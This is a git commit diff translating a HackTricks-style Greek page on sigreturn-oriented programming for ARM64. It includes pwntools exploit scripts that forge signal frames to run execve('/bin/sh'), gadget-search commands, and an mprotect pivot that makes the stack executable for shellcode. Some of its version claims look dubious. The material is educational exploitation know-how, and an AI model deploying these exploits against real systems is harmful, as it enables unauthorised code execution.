Translated ['src/binary-exploitation/rop-return-oriented-programing/srop

This commit is contained in:
Translator 2025-08-19 20:16:49 +00:00
parent c687d7fd00
commit 8a736f9ede

View File

@ -1,8 +1,8 @@
# SROP - ARM64
# {{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Pwntools παράδειγμα
## Παράδειγμα Pwntools
Αυτό το παράδειγμα δημιουργεί το ευάλωτο δυαδικό αρχείο και το εκμεταλλεύεται. Το δυαδικό αρχείο **διαβάζει στη στοίβα** και στη συνέχεια καλεί **`sigreturn`**:
```python
@ -32,7 +32,7 @@ p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
## παράδειγμα bof
## bof παράδειγμα
### Κώδικας
```c
@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
@ -136,7 +136,7 @@ return 0;
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Επομένως, αν διαρρεύσει, είναι δυνατόν να **χρησιμοποιηθεί αυτή η διεύθυνση για να αποκτήσετε πρόσβαση σε ένα `sigreturn`** αν το δυαδικό δεν το φορτώνει:
Επομένως, αν διαρρεύσει, είναι δυνατόν να **χρησιμοποιηθεί αυτή η διεύθυνση για πρόσβαση σε ένα `sigreturn`** αν το δυαδικό αρχείο δεν το φορτώνει:
```python
from pwn import *
@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
@ -177,4 +177,53 @@ p.interactive()
../../common-binary-protections-and-bypasses/aslr/
{{#endref}}
---
## Αυτόματη εύρεση `sigreturn` gadgets (2023-2025)
Σε σύγχρονες διανομές, το `sigreturn` trampoline εξακολουθεί να εξάγεται από τη σελίδα **vDSO**, αλλά η ακριβής απόσταση μπορεί να διαφέρει μεταξύ των εκδόσεων του πυρήνα και των σημαιών κατασκευής όπως το BTI (`+branch-protection`) ή το PAC. Η αυτοματοποίηση της ανακάλυψής του αποτρέπει την σκληρή κωδικοποίηση αποστάσεων:
```bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
```
Και τα δύο εργαλεία κατανοούν τις κωδικοποιήσεις **AArch64** και θα παραθέσουν υποψήφιες ακολουθίες `mov x8, 0x8b ; svc #0` που μπορούν να χρησιμοποιηθούν ως *SROP gadget*.
> Σημείωση: Όταν οι δυαδικοί κώδικες είναι συμπιεσμένοι με **BTI**, η πρώτη εντολή κάθε έγκυρου στόχου έμμεσης κλάσης είναι `bti c`. Οι τραμπόλινες `sigreturn` που τοποθετούνται από τον συνδέτη περιλαμβάνουν ήδη την σωστή πλατφόρμα προσγείωσης BTI, έτσι ώστε το gadget να παραμένει χρησιμοποιήσιμο από μη προνομιούχο κώδικα.
## Σύνδεση SROP με ROP (pivot μέσω `mprotect`)
`rt_sigreturn` μας επιτρέπει να ελέγχουμε *όλους* τους γενικούς καταχωρητές και το `pstate`. Ένα κοινό μοτίβο σε x86 είναι: 1) χρησιμοποιήστε SROP για να καλέσετε `mprotect`, 2) κάντε pivot σε μια νέα εκτελέσιμη στοίβα που περιέχει shell-code. Η ακριβώς ίδια ιδέα λειτουργεί και σε ARM64:
```python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
```
Μετά την αποστολή του πλαισίου, μπορείτε να στείλετε μια δεύτερη φάση που περιέχει raw shell-code στο `0x400000+0x100`. Επειδή το **AArch64** χρησιμοποιεί *PC-relative* διευθυνσιοδότηση, αυτό είναι συχνά πιο βολικό από το να κατασκευάσετε μεγάλες αλυσίδες ROP.
## Έλεγχος του πυρήνα, PAC & Shadow-Stacks
Το Linux 5.16 εισήγαγε αυστηρότερους ελέγχους των πλαισίων σήματος του χρήστη (commit `36f5a6c73096`). Ο πυρήνας τώρα ελέγχει:
* `uc_flags` πρέπει να περιέχει `UC_FP_XSTATE` όταν υπάρχει `extra_context`.
* Η δεσμευμένη λέξη στη `struct rt_sigframe` πρέπει να είναι μηδέν.
* Κάθε δείκτης στο αρχείο *extra_context* είναι ευθυγραμμισμένος και δείχνει μέσα στον χώρο διευθύνσεων του χρήστη.
`pwntools>=4.10` κατασκευάζει αυτόματα συμμορφούμενα πλαίσια, αλλά αν τα κατασκευάσετε χειροκίνητα, βεβαιωθείτε ότι έχετε μηδενίσει το *reserved* και παραλείψτε το αρχείο SVE εκτός αν το χρειάζεστε πραγματικά—διαφορετικά, το `rt_sigreturn` θα παραδώσει `SIGSEGV` αντί να επιστρέψει.
Αρχίζοντας με το mainstream Android 14 και το Fedora 38, το userland είναι μεταγλωττισμένο με **PAC** (*Pointer Authentication*) και **BTI** ενεργοποιημένα από προεπιλογή (`-mbranch-protection=standard`). Το *SROP* από μόνο του δεν επηρεάζεται επειδή ο πυρήνας αντικαθιστά το `PC` απευθείας από το κατασκευασμένο πλαίσιο, παρακάμπτοντας το αυθεντικοποιημένο LR που αποθηκεύεται στη στοίβα. Ωστόσο, οποιαδήποτε **επόμενη αλυσίδα ROP** που εκτελεί έμμεσες κλάσεις πρέπει να πηδήξει σε εντολές που είναι ενεργοποιημένες για BTI ή σε διευθύνσεις PACed. Να το έχετε υπόψη σας όταν επιλέγετε gadgets.
Οι Shadow-Call-Stacks που εισήχθησαν στο ARMv8.9 (και ήδη ενεργοποιημένες στο ChromeOS 1.27+) είναι μια μείωση σε επίπεδο μεταγλωττιστή και *δεν* παρεμβαίνουν στο SROP επειδή δεν εκτελούνται εντολές επιστροφής—η ροή ελέγχου μεταφέρεται από τον πυρήνα.
## Αναφορές
* [Linux arm64 signal handling documentation](https://docs.kernel.org/arch/arm64/signal.html)
* [LWN "AArch64 branch protection comes to GCC and glibc" (2023)](https://lwn.net/Articles/915041/)
{{#include ../../../banners/hacktricks-training.md}}